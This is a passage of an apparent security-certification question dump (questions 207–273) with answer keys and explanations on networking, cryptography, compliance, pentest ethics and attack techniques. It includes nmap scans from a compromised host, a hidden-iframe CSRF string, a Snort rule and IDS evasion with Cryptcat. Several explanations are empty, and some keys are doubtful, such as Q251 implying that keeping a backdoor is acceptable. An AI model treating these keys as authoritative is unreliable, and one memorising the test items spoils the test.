The gateway and the computer are not on the same network.

D.
The computer is not using a private IP address.

Answer: A
Explanation:

QUESTION NO: 207

Which of the following network attacks relies on sending an abnormally large packet size that exceeds TCP/IP specifications?

A.
Ping of death

B.
SYN flooding

C.
TCP hijacking

D.
Smurf attack

Answer: A
Explanation:

QUESTION NO: 208

Which NMAP feature can a tester implement or adjust while scanning for open ports to avoid detection by the network's IDS?

A.
Timing options to slow the speed that the port scan is conducted

B.
Fingerprinting to identify which operating systems are running on the network

C.
ICMP ping sweep to determine which hosts on the network are not available

D.
Traceroute to control the path of the packets sent during the scan

Answer: A
Explanation:

QUESTION NO: 209

When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open Source Security Testing Methodology Manual (OSSTMM) the main difference is

A.
OWASP is for web applications and OSSTMM does not include web applications.

B.
OSSTMM is gray box testing and OWASP is black box testing.

C.

OWASP addresses controls and OSSTMM does not.

D.
OSSTMM addresses controls and OWASP does not.

Answer: D
Explanation:

QUESTION NO: 210

Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?

A.
WebBugs

B.
WebGoat

C.
VULN_HTML

D.
WebScarab

Answer: B
Explanation:

QUESTION NO: 211

What are the three types of compliance that the Open Source Security Testing Methodology Manual (OSSTMM) recognizes?

A.
Legal, performance, audit

B.
Audit, standards based, regulatory

C.
Contractual, regulatory, industry

D.
Legislative, contractual, standards based

Answer: D

Explanation:

QUESTION NO: 212

Which of the following algorithms provides better protection against brute force attacks by using a 160-bit message digest?

A.
MD5

B.
SHA-1

C.
RC4

D.
MD4

Answer: B

Explanation:

QUESTION NO: 213

Which cipher encrypts the plain text digit (bit or byte) one by one?

A.
Classical cipher

B.
Block cipher

C.
Modern cipher

D.
Stream cipher

Answer: D

Explanation:

QUESTION NO: 214

Which of the following can take an arbitrary length of input and produce a message digest output of 160 bit?

A.
SHA-1

B.
MD5

C.
HAVAL

D.
MD4

Answer: A

Explanation:

QUESTION NO: 215

Which element of Public Key Infrastructure (PKI) verifies the applicant?

A.
Certificate authority

B.
Validation authority

C.
Registration authority

D.
Verification authority

Answer: C

Explanation:

QUESTION NO: 216

Which vital role does the U.S. Computer Security Incident Response Team (CSIRT) provide?

A.
Incident response services to any user, company, government agency, or organization in partnership with the Department of Homeland Security

B.
Maintenance of the nation's Internet infrastructure, builds out new Internet infrastructure, and decommissions old Internet infrastructure

C.
Registration of critical penetration testing for the Department of Homeland Security and public and private sectors

D.
Measurement of key vulnerability assessments on behalf of the Department of Defense (DOD) and State Department, as well as private sectors

Answer: A

Explanation:

Topic 6, Regulations / Policy

QUESTION NO: 217

How do employers protect assets with security policies pertaining to employee surveillance activities?

A.
Employers promote monitoring activities of employees as long as the employees demonstrate trustworthiness.

B.
Employers use informal verbal communication channels to explain employee monitoring activities to employees.

C.

Employers use network surveillance to monitor employee email traffic, network access, and to record employee keystrokes.

D.
Employers provide employees written statements that clearly discuss the boundaries of monitoring activities and consequences.

Answer: D

Explanation:

QUESTION NO: 218

Which of the following ensures that updates to policies, procedures, and configurations are made in a controlled and documented fashion?

A.
Regulatory compliance

B.
Peer review

C.
Change management

D.
Penetration testing

Answer: C

Explanation:

QUESTION NO: 219

Which of the following tools would be the best choice for achieving compliance with PCI Requirement 11?

A.
Truecrypt

B.
Sub7

C.
Nessus

D.
Clamwin

Answer: C
Explanation:

QUESTION NO: 220

When does the Payment Card Industry Data Security Standard (PCI-DSS) require organizations to perform external and internal penetration testing?

A.
At least once a year and after any significant upgrade or modification

B.
At least once every three years or after any significant upgrade or modification

C.
At least twice a year or after any significant upgrade or modification

D.
At least once every two years and after any significant upgrade or modification

Answer: A
Explanation:

QUESTION NO: 221

Which United States legislation mandates that the Chief Executive Officer (CEO) and the Chief Financial Officer (CFO) must sign statements verifying the completeness and accuracy of financial reports?

A.
Sarbanes-Oxley Act (SOX)

B.
Gramm-Leach-Bliley Act (GLBA)

C.
Fair and Accurate Credit Transactions Act (FACTA)

D.
Federal Information Security Management Act (FISMA)

Answer: A
Explanation:

QUESTION NO: 222

How can a policy help improve an employee's security awareness?

A.
By implementing written security procedures, enabling employee security training, and promoting the benefits of security

B.
By using informal networks of communication, establishing secret passing procedures, and immediately terminating employees

C.
By sharing security secrets with employees, enabling employees to share secrets, and establishing a consultative help line

D.
By decreasing an employee's vacation time, addressing ad-hoc employment clauses, and ensuring that managers know employee strengths

Answer: A
Explanation:

QUESTION NO: 223

Which method can provide a better return on IT security investment and provide a thorough and comprehensive assessment of organizational security covering policy, procedure design, and implementation?

A.
Penetration testing

B.
Social engineering

C.
Vulnerability scanning

D.
Access control list reviews

Answer: A
Explanation:

QUESTION NO: 224

Which of the following guidelines or standards is associated with the credit card industry?

A.
Control Objectives for Information and Related Technology (COBIT)

B.
Sarbanes-Oxley Act (SOX)

C.
Health Insurance Portability and Accountability Act (HIPAA)

D.
Payment Card Industry Data Security Standards (PCI DSS)

Answer: D
Explanation:

QUESTION NO: 225

International Organization for Standardization (ISO) standard 27002 provides guidance for compliance by outlining

A.
guidelines and practices for security controls.

B.
financial soundness and business viability metrics.

C.
standard best practice for configuration management.

D.
contract agreement writing standards.

Answer: A
Explanation:

QUESTION NO: 226

Which type of security document is written with specific step-by-step details?

A.
Process

B.
Procedure

C.
Policy

D.
Paradigm

Answer: B
Explanation:

Topic 7, Ethics

QUESTION NO: 227

An ethical hacker for a large security research firm performs penetration tests, vulnerability tests, and risk assessments. A friend recently started a company and asks the hacker to perform a penetration test and vulnerability assessment of the new company as a favor. What should the hacker's next step be before starting work on this job?

A.
Start by foot printing the network and mapping out a plan of attack.

B.
Ask the employer for authorization to perform the work outside the company.

C.
Begin the reconnaissance phase with passive information gathering and then move into active information gathering.

D.
Use social engineering techniques on the friend's employees to help identify areas that may be susceptible to attack.

Answer: B

Explanation:

QUESTION NO: 228

A certified ethical hacker (CEH) completed a penetration test of the main headquarters of a company almost two months ago, but has yet to get paid. The customer is suffering from financial problems, and the CEH is worried that the company will go out of business and end up not paying. What actions should the CEH take?

A.
Threaten to publish the penetration test results if not paid.

B.
Follow proper legal procedures against the company to request payment.

C.
Tell other customers of the financial problems with payments from this company.

D.
Exploit some of the vulnerabilities found on the company webserver to deface it.

Answer: B

Explanation:

QUESTION NO: 229

Which initial procedure should an ethical hacker perform after being brought into an organization?

A.

Begin security testing.

B.
Turn over deliverables.

C.
Sign a formal contract with non-disclosure.

D.
Assess what the organization is trying to protect.

Answer: C
Explanation:

QUESTION NO: 230

A consultant has been hired by the V.P. of a large financial organization to assess the company's security posture. During the security testing, the consultant comes across child pornography on the V.P.'s computer. What is the consultant's obligation to the financial organization?

A.
Say nothing and continue with the security testing.

B.
Stop work immediately and contact the authorities.

C.
Delete the pornography, say nothing, and continue security testing.

D.
Bring the discovery to the financial organization's human resource department.

Answer: B
Explanation:

QUESTION NO: 231

A computer technician is using a new version of a word processing software package when it is discovered that a special sequence of characters causes the entire computer to crash. The technician researches the bug and discovers that no one else experienced the problem. What is the appropriate next step?

A.
Ignore the problem completely and let someone else deal with it.

B.
Create a document that will crash the computer when opened and send it to friends.

C.
Find an underground bulletin board and attempt to sell the bug to the highest bidder.

D.
Notify the vendor of the bug and do not disclose it until the vendor gets a chance to issue a fix.

Answer: D
Explanation:

QUESTION NO: 232

A certified ethical hacker (CEH) is approached by a friend who believes her husband is cheating. She offers to pay to break into her husband's email account in order to find proof so she can take him to court. What is the ethical response?

A.
Say no; the friend is not the owner of the account.

B.
Say yes; the friend needs help to gather evidence.

C.
Say yes; do the job for free.

D.
Say no; make sure that the friend knows the risk she’s asking the CEH to take.

Answer: A
Explanation:

Topic 8, MIX QUESTIONS

QUESTION NO: 233

It is an entity or event with the potential to adversely impact a system through unauthorized

access, destruction, disclosure, denial of service or modification of data.

Which of the following terms best matches the definition?

A.
Threat

B.
Attack

C.
Vulnerability

D.
Risk

Answer: A

Explanation:
A threat is a any circumstance or event with the potential to adversely impact organizational operations (including mission, functions, image, or reputation), organizational assets, or individuals through an information system via unauthorized access, destruction, disclosure, modification of information, and/or denial of service. Also, the potential for a threat-source to successfully exploit a particular information system vulnerability.

References: https://en.wikipedia.org/wiki/Threat_(computer)

QUESTION NO: 234

As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.

What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?

A.
Terms of Engagement

B.
Project Scope

C.
Non-Disclosure Agreement

D.

Service Level Agreement

Answer: A

Explanation:

QUESTION NO: 235

Initiating an attack against targeted businesses and organizations, threat actors compromise a carefully selected website by inserting an exploit resulting in malware infection. The attackers run exploits on well-known and trusted sites likely to be visited by their targeted victims. Aside from carefully choosing sites to compromise, these attacks are known to incorporate zero-day exploits that target unpatched vulnerabilities. Thus, the targeted entities are left with little or no defense against these exploits.

What type of attack is outlined in the scenario?

A.
Watering Hole Attack

B.
Heartbleed Attack

C.
Shellshock Attack

D.
Spear Phising Attack

Answer: A

Explanation:
Watering Hole is a computer attack strategy, in which the victim is a particular group (organization, industry, or region). In this attack, the attacker guesses or observes which websites the group often uses and infects one or more of them with malware. Eventually, some member of the targeted group gets infected.

QUESTION NO: 236

You have successfully gained access to your client's internal network and successfully comprised a Linux server which is part of the internal IP network. You want to know which Microsoft Windows workstations have file sharing enabled.

Which port would you see listening on these Windows machines in the network?

A.
445

B.
3389

C.
161

D.
1433

Answer: A

Explanation:
The following ports are associated with file sharing and server message block (SMB) communications:

References: https://support.microsoft.com/en-us/kb/298804

QUESTION NO: 237

It is a short-range wireless communication technology intended to replace the cables connecting portable of fixed devices while maintaining high levels of security. It allows mobile phones, computers and other devices to connect and communicate using a short-range wireless connection.

Which of the following terms best matches the definition?

A.
Bluetooth

B.
Radio-Frequency Identification

C.
WLAN

D.
InfraRed

Answer: A

Explanation:
Bluetooth is a standard for the short-range wireless interconnection of mobile phones, computers, and other electronic devices.

References: http://www.bbc.co.uk/webwise/guides/about-bluetooth

QUESTION NO: 238

A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.

Which sort of trojan infects this server?

A.
Botnet Trojan

B.
Turtle Trojans

C.
Banking Trojans

D.
Ransomware Trojans

Answer: A

Explanation:
In computer science, a zombie is a computer connected to the Internet that has been compromised by a hacker, computer virus or trojan horse and can be used to perform malicious tasks of one sort or another under remote direction. Botnets of zombie computers are often used to spread e-mail spam and launch denial-of-service attacks. Most owners of zombie computers are unaware that their system is being used in this way. Because the owner tends to be unaware, these computers are metaphorically compared to zombies. A coordinated DDoS attack by multiple botnet machines also resembles a zombie horde attack.

QUESTION NO: 239

You have compromised a server and successfully gained a root access. You want to pivot and pass traffic undetected over the network and evade any possible Intrusion Detection System.

What is the best approach?

A.
Install Cryptcat and encrypt outgoing packets from this server.

B.
Install and use Telnet to encrypt all outgoing traffic from this server.

C.
Use Alternate Data Streams to hide the outgoing packets from this server.

D.
Use HTTP so that all traffic can be routed via a browser, thus evading the internal Intrusion Detection Systems.

Answer: A

Explanation:
Cryptcat enables us to communicate between two systems and encrypts the communication between them with twofish.

References: http://null-byte.wonderhowto.com/how-to/hack-like-pro-create-nearly-undetectable-backdoor-with-cryptcat-0149264/

QUESTION NO: 240

It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again.

Which of the following terms best matches the definition?

A.
Ransomware

B.
Adware

C.
Spyware

D.

Riskware

Answer: A

Explanation:
Ransomware is a type of malware that can be covertly installed on a computer without knowledge or intention of the user that restricts access to the infected computer system in some way, and demands that the user pay a ransom to the malware operators to remove the restriction. Some forms of ransomware systematically encrypt files on the system's hard drive, which become difficult or impossible to decrypt without paying the ransom for the encryption key, while some may simply lock the system and display messages intended to coax the user into paying. Ransomware typically propagates as a Trojan.

References: https://en.wikipedia.org/wiki/Ransomware

QUESTION NO: 241

You have successfully comprised a server having an IP address of 10.10.0.5. You would like to enumerate all machines in the same network quickly.

What is the best nmap command you will use?

A.
nmap -T4 -F 10.10.0.0/24

B.
nmap -T4 -r 10.10.1.0/24

C.
nmap -T4 -O 10.10.0.0/24

D.
nmap -T4 -q 10.10.0.0/24

Answer: A

Explanation:
command = nmap -T4 -F

description = This scan is faster than a normal scan because it uses the aggressive timing template and scans fewer ports.

References: https://svn.nmap.org/nmap/zenmap/share/zenmap/config/scan_profile.usp

QUESTION NO: 242

You have compromised a server on a network and successfully opened a shell. You aimed to identify all operating systems running on the network. However, as you attempt to fingerprint all machines in the network using the nmap syntax below, it is not going through.

invictus@victim_server:~$ nmap -T4 -O 10.10.0.0/24

TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx.

QUITTING!

What seems to be wrong?

A.
OS Scan requires root privileges.

B.
The nmap syntax is wrong.

C.
This is a common behavior for a corrupted nmap application.

D.
The outgoing TCP/IP fingerprinting is blocked by the host firewall.

Answer: A

Explanation:
You requested a scan type which requires root privileges.

References: http://askubuntu.com/questions/433062/using-nmap-for-information-regarding-web-host

QUESTION NO: 243

Which of the following statements is TRUE?

A.

Sniffers operate on Layer 2 of the OSI model

B.
Sniffers operate on Layer 3 of the OSI model

C.
Sniffers operate on both Layer 2 & Layer 3 of the OSI model.

D.
Sniffers operate on the Layer 1 of the OSI model.

Answer: A

Explanation:
The OSI layer 2 is where packet sniffers collect their data.

References: https://en.wikipedia.org/wiki/Ethernet_frame

QUESTION NO: 244

You are logged in as a local admin on a Windows 7 system and you need to launch the Computer Management Console from command line.

Which command would you use?

A.
c:\compmgmt.msc

B.
c:\services.msc

C.
c:**ncpa.cp**

D.
c:\gpedit

Answer: A

Explanation:
To start the Computer Management Console from command line just type compmgmt.msc /computer:computername in your run box or at the command line and it should automatically open the Computer Management console.

References: http://www.waynezim.com/tag/compmgmtmsc/

QUESTION NO: 245

What is the best description of SQL Injection?

A.
It is an attack used to gain unauthorized access to a database.

B.
It is an attack used to modify code in an application.

C.
It is a Man-in-the-Middle attack between your SQL Server and Web App Server.

D.
It is a Denial of Service Attack.

Answer: A

Explanation:
SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).

References: https://en.wikipedia.org/wiki/SQL_injection

QUESTION NO: 246

Which of the following is the BEST way to defend against network sniffing?

A.
Using encryption protocols to secure network communications

B.
Register all machines MAC Address in a Centralized Database

C.
Restrict Physical Access to Server Rooms hosting Critical Servers

D.

Use Static IP Address

Answer: A

Explanation:
A way to protect your network traffic from being sniffed is to use encryption such as Secure Sockets Layer (SSL) or Transport Layer Security (TLS). Encryption doesn't prevent packet sniffers from seeing source and destination information, but it does encrypt the data packet's payload so that all the sniffer sees is encrypted gibberish.

References: http://netsecurity.about.com/od/informationresources/a/What-Is-A-Packet-Sniffer.htm

QUESTION NO: 247

You have successfully gained access to a linux server and would like to ensure that the succeeding outgoing traffic from this server will not be caught by a Network Based Intrusion Detection Systems (NIDS).

What is the best way to evade the NIDS?

A.
Encryption

B.
Protocol Isolation

C.
Alternate Data Streams

D.
Out of band signalling

Answer: A

Explanation:
When the NIDS encounters encrypted traffic, the only analysis it can perform is packet level analysis, since the application layer contents are inaccessible. Given that exploits against today's networks are primarily targeted against network services (application layer entities), packet level analysis ends up doing very little to protect our core business assets.

References: http://www.techrepublic.com/article/avoid-these-five-common-ids-implementation-errors/

QUESTION NO: 248

You just set up a security system in your network. In what kind of system would you find the following string of characters used as a rule within its configuration?

alert tcp any any -> 192.168.100.0/24 21 (msg: "FTP on the network!";)

A.
An Intrusion Detection System

B.
A firewall IPTable

C.
A Router IPTable

D.
FTP Server rule

Answer: A

Explanation:
Snort is an open source network intrusion detection system (NIDS) for networks .

Snort rule example:

This example is a rule with a generator id of 1000001.

alert tcp any any -> any 80 (content:"BOB"; gid:1000001; sid:1; rev:1;)

References: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node31.html

QUESTION NO: 249

What is the benefit of performing an unannounced Penetration Testing?

A.
The tester will have an actual security posture visibility of the target network.

B.
Network security would be in a "best state" posture.

C.
It is best to catch critical infrastructure unpatched.

D.
The tester could not provide an honest analysis.

Answer: A

Explanation:
Real life attacks will always come without expectation and they will often arrive in ways that are highly creative and very hard to plan for at all. This is, after all, exactly how hackers continue to succeed against network security systems, despite the billions invested in the data protection industry.

A possible solution to this danger is to conduct intermittent “unannounced” penentration tests whose scheduling and occurrence is only known to the hired attackers and upper management staff instead of every security employee, as would be the case with “announced” penetration tests that everyone has planned for in advance. The former may be better at detecting realistic weaknesses.

References: http://www.sitepronews.com/2013/03/20/the-pros-and-cons-of-penetration-testing/

QUESTION NO: 250

You have successfully compromised a machine on the network and found a server that is alive on the same network. You tried to ping it but you didn't get any response back.

What is happening?

A.
ICMP could be disabled on the target server.

B.
The ARP is disabled on the target server.

C.
TCP/IP doesn't support ICMP.

D.
You need to run the ping command with root privileges.

Answer: A

Explanation:
The ping utility is implemented using the ICMP "Echo request" and "Echo reply" messages.

Note: The Internet Control Message Protocol (ICMP) is one of the main protocols of the internet protocol suite. It is used by network devices, like routers, to send error messages indicating, for example, that a requested service is not available or that a host or router could not be reached.

References: https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol

QUESTION NO: 251

Under the "Post-attack Phase and Activities", it is the responsibility of the tester to restore the systems to a pre-test state.

Which of the following activities should not be included in this phase? (see exhibit)

Exhibit:

I. Removing all files uploaded on the system

II. Cleaning all registry entries

III. Mapping of network state

IV. Removing all tools and maintaining backdoor for reporting

A.
III

B.
IV

C.
III and IV

D.
All should be included.

Answer: A
Explanation:
The post-attack phase revolves around returning any modified system(s) to the pretest state.

Examples of such activities:

References: Computer and Information Security Handbook, John R. Vacca (2012), page 531

QUESTION NO: 252

It is a regulation that has a set of guidelines, which should be adhered to by anyone who handles any electronic medical data. These guidelines stipulate that all medical practices must ensure that all necessary measures are in place while saving, accessing, and sharing any electronic medical data to keep patient data secure.

Which of the following regulations best matches the description?

A.
HIPAA

B.
ISO/IEC 27002

C.
COBIT

D.
FISMA

Answer: A

Explanation:
The HIPAA Privacy Rule regulates the use and disclosure of Protected Health Information (PHI) held by "covered entities" (generally, health care clearinghouses, employer sponsored health plans, health insurers, and medical service providers that engage in certain transactions.)[15] By regulation, the Department of Health and Human Services extended the HIPAA privacy rule to independent contractors of covered entities who fit within the definition of "business associates".

References:
https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act#Privacy_Rule

QUESTION NO: 253

Which of the following is a component of a risk assessment?

A.
Administrative safeguards

B.
Physical security

C.
DMZ

D.
Logical interface

Answer: A

Explanation:
Risk assessment include:

References: https://en.wikipedia.org/wiki/IT_risk_management#Risk_assessment

QUESTION NO: 254

A medium-sized healthcare IT business decides to implement a risk management strategy.

Which of the following is NOT one of the five basic responses to risk?

A.
Delegate

B.
Avoid

C.
Mitigate

D.
Accept

Answer: A

Explanation:
There are five main ways to manage risk: acceptance, avoidance, transference, mitigation or exploitation.

References: http://www.dbpmanagement.com/15/5-ways-to-manage-risk

QUESTION NO: 255

Your company was hired by a small healthcare provider to perform a technical assessment on the network.

What is the best approach for discovering vulnerabilities on a Windows-based computer?

A.
Use a scan tool like Nessus

B.
Use the built-in Windows Update tool

C.
Check MITRE.org for the latest list of CVE findings

D.
Create a disk image of a clean Windows installation

Answer: A

Explanation:
Nessus is an open-source network vulnerability scanner that uses the Common Vulnerabilities and Exposures architecture for easy cross-linking between compliant security tools.

The Nessus server is currently available for Unix, Linux and FreeBSD. The client is available for Unix- or Windows-based operating systems.

Note: Significant capabilities of Nessus include:

References: http://searchnetworking.techtarget.com/definition/Nessus

QUESTION NO: 256

Nation-state threat actors often discover vulnerabilities and hold on to them until they want to launch a sophisticated attack. The Stuxnet attack was an unprecedented style of attack because it used four types of vulnerability.

What is this style of attack called?

A.

zero-day

B.
zero-hour

C.
zero-sum

D.
no-day

Answer: A

Explanation:
Stuxnet is a malicious computer worm believed to be a jointly built American-Israeli cyber weapon. Exploiting four zero-day flaws, Stuxnet functions by targeting machines using the Microsoft Windows operating system and networks, then seeking out Siemens Step7 software.

References: https://en.wikipedia.org/wiki/Stuxnet

QUESTION NO: 257

An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim's profile to a text file and then submit the data to the attacker's database.

<iframe src="http://www.vulnweb.com/updateif.php" style="display:none"></iframe>

What is this type of attack (that can use either HTTP GET or HTTP POST) called?

A.
Cross-Site Request Forgery

B.
Cross-Site Scripting

C.
SQL Injection

D.
Browser Hacking

Answer: A

Explanation:
Cross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the website trusts.

Different HTTP request methods, such as GET and POST, have different level of susceptibility to CSRF attacks and require different levels of protection due to their different handling by web browsers.

References: https://en.wikipedia.org/wiki/Cross-site_request_forgery

QUESTION NO: 258

It is a vulnerability in GNU's bash shell, discovered in September of 2014, that gives attackers access to run remote commands on a vulnerable system. The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and scan for other vulnerable devices (including routers).

Which of the following vulnerabilities is being described?

A.
Shellshock

B.
Rootshock

C.
Rootshell

D.
Shellbash

Answer: A

Explanation:
Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014.

References: https://en.wikipedia.org/wiki/Shellshock_(software_bug)

QUESTION NO: 259

When you return to your desk after a lunch break, you notice a strange email in your inbox. The sender is someone you did business with recently, but the subject line has strange characters in it.

What should you do?

A.
Forward the message to your company's security response team and permanently delete the message from your computer.

B.
Reply to the sender and ask them for more information about the message contents.

C.
Delete the email and pretend nothing happened

D.
Forward the message to your supervisor and ask for her opinion on how to handle the situation

Answer: A

Explanation:
By setting up an email address for your users to forward any suspicious email to, the emails can be automatically scanned and replied to, with security incidents created to follow up on any emails with attached malware or links to known bad websites.

References: https://docs.servicenow.com/bundle/helsinki-security-management/page/product/threat-intelligence/task/t_ConfigureScanEmailInboundAction.html

QUESTION NO: 260

The network administrator contacts you and tells you that she noticed the temperature on the internal wireless router increases by more than 20% during weekend hours when the office was closed. She asks you to investigate the issue because she is busy dealing with a big conference and she doesn't have time to perform the task.

What tool can you use to view the network traffic being sent and received by the wireless router?

A.
Wireshark

B.

Nessus

C.
Netcat

D.
Netstat

Answer: A

Explanation:
Wireshark is a Free and open source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education.

QUESTION NO: 261

A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server.

Based on this information, what should be one of your key recommendations to the bank?

A.
Place a front-end web server in a demilitarized zone that only handles external web traffic

B.
Require all employees to change their passwords immediately

C.
Move the financial data to another server on the same IP subnet

D.
Issue new certificates to the web servers from the root certificate authority

Answer: A

Explanation:
A DMZ or demilitarized zone (sometimes referred to as a perimeter network) is a physical or logical subnetwork that contains and exposes an organization's external-facing services to a larger and untrusted network, usually the Internet. The purpose of a DMZ is to add an additional layer of security to an organization's local area network (LAN); an external network node only has direct access to equipment in the DMZ, rather than any other part of the network.

References: https://en.wikipedia.org/wiki/DMZ_(computing)

QUESTION NO: 262

Port scanning can be used as part of a technical assessment to determine network vulnerabilities. The TCP XMAS scan is used to identify listening ports on the targeted system.

If a scanned port is open, what happens?

A.
The port will ignore the packets.

B.
The port will send an RST.

C.
The port will send an ACK.

D.
The port will send a SYN.

Answer: A

Explanation:
An attacker uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the all flags sent in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.

References: https://capec.mitre.org/data/definitions/303.html

QUESTION NO: 263

During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network.

What is this type of DNS configuration commonly called?

A.

Split DNS

B.
DNSSEC

C.
DynDNS

D.
DNS Scheme

Answer: A

Explanation:
In a split DNS infrastructure, you create two zones for the same domain, one to be used by the internal network, the other used by the external network. Split DNS directs internal hosts to an internal domain name server for name resolution and external hosts are directed to an external domain name server for name resolution.

References: http://www.webopedia.com/TERM/S/split_DNS.html

QUESTION NO: 264

This tool is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.

Which of the following tools is being described?

A.
Aircrack-ng

B.
Airguard

C.
WLAN-crack

D.
wificracker

Answer: A

Explanation:
Aircrack-ng is a complete suite of tools to assess WiFi network security.

The default cracking method of Aircrack-ng is PTW, but Aircrack-ng can also use the FMS/KoreK method, which incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing.

References: http://www.aircrack-ng.org/doku.php?id=aircrack-ng

QUESTION NO: 265

The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE's Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the transport layer security (TLS) protocols defined in RFC6520.

What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?

A.
Private

B.
Public

C.
Shared

D.
Root

Answer: A

Explanation:
The data obtained by a Heartbleed attack may include unencrypted exchanges between TLS parties likely to be confidential, including any form post data in users' requests. Moreover, the confidential data exposed could include authentication secrets such as session cookies and passwords, which might allow attackers to impersonate a user of the service.

An attack may also reveal private keys of compromised parties.

References: https://en.wikipedia.org/wiki/Heartbleed

QUESTION NO: 266

In 2007, this wireless security algorithm was rendered useless by capturing packets and discovering the passkey in a matter of seconds. This security flaw led to a network invasion of TJ Maxx and data theft through a technique known as wardriving.

Which Algorithm is this referring to?

A.
Wired Equivalent Privacy (WEP)

B.
Wi-Fi Protected Access (WPA)

C.
Wi-Fi Protected Access 2 (WPA2)

D.
Temporal Key Integrity Protocol (TKIP)

Answer: A

Explanation:
WEP is the currently most used protocol for securing 802.11 networks, also called wireless lans or wlans. In 2007, a new attack on WEP, the PTW attack, was discovered, which allows an attacker to recover the secret key in less than 60 seconds in some cases.

Note: Wardriving is the act of searching for Wi-Fi wireless networks by a person in a moving vehicle, using a portable computer, smartphone or personal digital assistant (PDA).

References: https://events.ccc.de/camp/2007/Fahrplan/events/1943.en.html

QUESTION NO: 267

This international organization regulates billions of transactions daily and provides security guidelines to protect personally identifiable information (PII). These security controls provide a baseline and prevent low-level hackers sometimes known as script kiddies from causing a data breach.

Which of the following organizations is being described?

A.
Payment Card Industry (PCI)

B.
Center for Disease Control (CDC)

C.
Institute of Electrical and Electronics Engineers (IEEE)

D.
International Security Industry Organization (ISIO)

Answer: A

Explanation:
The Payment Card Industry Data Security Standard (PCI DSS) is a proprietary information security standard for organizations that handle branded credit cards from the major card schemes including Visa, MasterCard, American Express, Discover, and JCB. The PCI DSS standards are very explicit about the requirements for the back end storage and access of PII (personally identifiable information).

References: https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard

QUESTION NO: 268

Your company performs penetration tests and security assessments for small and medium-sized business in the local area. During a routine security assessment, you discover information that suggests your client is involved with human trafficking.

What should you do?

A.
Immediately stop work and contact the proper legal authorities.

B.
Copy the data to removable media and keep it in case you need it.

C.
Confront the client in a respectful manner and ask her about the data.

D.
Ignore the data and continue the assessment until completed as agreed.

Answer: A

Explanation:

QUESTION NO: 269

Jesse receives an email with an attachment labeled “Court_Notice_21206.zip”. Inside the zip file is a file named “Court_Notice_21206.docx.exe” disguised as a word document. Upon execution, a window appears stating, “This word document is corrupt.” In the background, the file copies itself to Jesse APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.

What type of malware has Jesse encountered?

A.
Trojan

B.
Worm

C.
Macro Virus

D.
Key-Logger

Answer: A

Explanation:
In computing, Trojan horse, or Trojan, is any malicious computer program which is used to hack into a computer by misleading users of its true intent. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller which can then have unauthorized access to the affected computer.

References: https://en.wikipedia.org/wiki/Trojan_horse_(computing)

QUESTION NO: 270

Which tool allows analysts and pen testers to examine links between data using graphs and link analysis?

A.

Maltego

B.
Cain & Abel

C.
Metasploit

D.
Wireshark

Answer: A

Explanation:
Maltego is proprietary software used for open-source intelligence and forensics, developed by Paterva. Maltego focuses on providing a library of transforms for discovery of data from open sources, and visualizing that information in a graph format, suitable for link analysis and data mining.

References: https://en.wikipedia.org/wiki/Maltego

QUESTION NO: 271

While using your bank's online servicing you notice the following string in the URL bar:
"http://www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21
"

You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes.

Which type of vulnerability is present on this site?

A.
Web Parameter Tampering

B.
Cookie Tampering

C.
XSS Reflection

D.
SQL injection

Answer: A

Explanation:
The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control.

References: https://www.owasp.org/index.php/Web_Parameter_Tampering

QUESTION NO: 272

Perspective clients want to see sample reports from previous penetration tests.

What should you do next?

A.
Decline but, provide references.

B.
Share full reports, not redacted.

C.
Share full reports with redactions.

D.
Share reports, after NDA is signed.

Answer: A

Explanation:
Penetration tests data should not be disclosed to third parties.

QUESTION NO: 273

During a blackbox pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded.

